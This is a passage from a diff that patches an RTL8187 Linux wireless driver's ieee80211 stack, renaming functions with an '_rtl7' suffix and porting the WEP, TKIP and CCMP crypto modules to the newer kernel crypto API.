ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-06-08 23:30:44.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-06-08 23:30:44.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ 